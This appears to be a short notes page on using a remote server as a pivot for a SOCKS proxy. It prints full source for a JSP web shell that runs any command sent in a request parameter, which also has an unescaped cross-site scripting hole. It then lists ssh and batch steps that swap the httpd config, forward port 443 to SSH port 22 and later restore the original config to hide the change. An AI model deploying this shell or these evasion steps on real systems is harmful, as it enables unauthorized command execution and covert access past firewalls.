Create sock proxy via remote PC as a springboard

Install cygwin in my remote PC

Upload a console.jsp to application server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<%@page import="java.io.*" %>
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js"></script>

<script type="text/javascript">
$(function(){
$("#command").focus();
var cmd = '<%=request.getParameter("command")%>';
$("#command").val(cmd == 'null' ? '' : cmd);
});
</script>


<body bgcolor="#cdc0cd">
<form action="console.jsp">
Command: <textarea name="command" rows="10" cols="50" id="command"></textarea><br/>
<input type="submit" name="submit" value="submit"/>
</form>

<%
String cmd = request.getParameter("command");
if(cmd != null && cmd.length() > 0){
//Runtime.getRuntime().exec(cmd);
out.println("command = " + cmd + "<p><p>");
StringBuilder sb = new StringBuilder();
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd);

BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));

BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));

out.print("<h2>result as below</h2>");
while ((s = stdInput.readLine()) != null) {
sb.append(s+"<br/>");
}

// read any errors from the attempted command
sb.append("<hr><h2>error as below(if any)</h2>");
while ((s = stdError.readLine()) != null) {
sb.append(s);
}
out.print(sb.toString());
}
catch (IOException e) {
sb.append("exception happened - here's what I know: ");
e.printStackTrace();
}
}
%>

Disable port 443 in httpd

1
2
3
ssh -i /home/prls/fw/id_rsa Administrator@server /cygdrive/c/Users/xx/fw/443-hide.bat
copy "C:\Program Files\IBM\HTTPServer\conf\httpd.conf" "C:\Users\xx\Downloads\fw\httpd-latest.conf"
copy "C:\Users\xx\Downloads\fw\httpd2.conf" "C:\Program Files\IBM\HTTPServer\conf\httpd.conf"
1
2
3
ssh -i /home/prls/fw/id_rsa Administrator@server /cygdrive/c/Users/xx/fw/restart.bat 
net stop IBMHTTPServer7.0
net start IBMHTTPServer7.0

Forward port 443 to 22

1
2
3
4
ssh -i /home/prls/fw/id_rsa xx@server /cygdrive/c/Users/xx/fw/443-open.bat 
rem wscript.exe C:\Users\xx\Downloads\fw\443-open.vbs C:\Users\xx\Downloads\plink.exe -load local -N <span style="font-size:12.5px;line-height:1.5;"></span> 5. Stop process plink
tasklist|grep plink
taskkill /f /pid 7944

Enable port 443 in httpd

1
2
ssh -i /home/prls/fw/id_rsa Administrator@server /cygdrive/c/Users/xx/fw/443-show.bat
copy "C:\Users\xx\Downloads\fw\httpd-latest.conf" "C:\Program Files\IBM\HTTPServer\conf\httpd.conf"

See config in httpd

1
2
ssh -i /home/prls/fw/id_rsa Administrator@server /cygdrive/c/Users/xx/fw/cat-httpd.bat
copy "C:\Users\xx\Downloads\fw\httpd-latest.conf" "C:\Program Files\IBM\HTTPServer\conf\httpd.conf"

Make it effective

ssh -i /home/prls/fw/id_rsa Administrator@server /cygdrive/c/Users/xx/fw/restart.bat

Fallback a backup version

ssh -i /home/prls/fw/id_rsa Administrator@server /cygdrive/c/Users/xx/fw/443-fallback.bat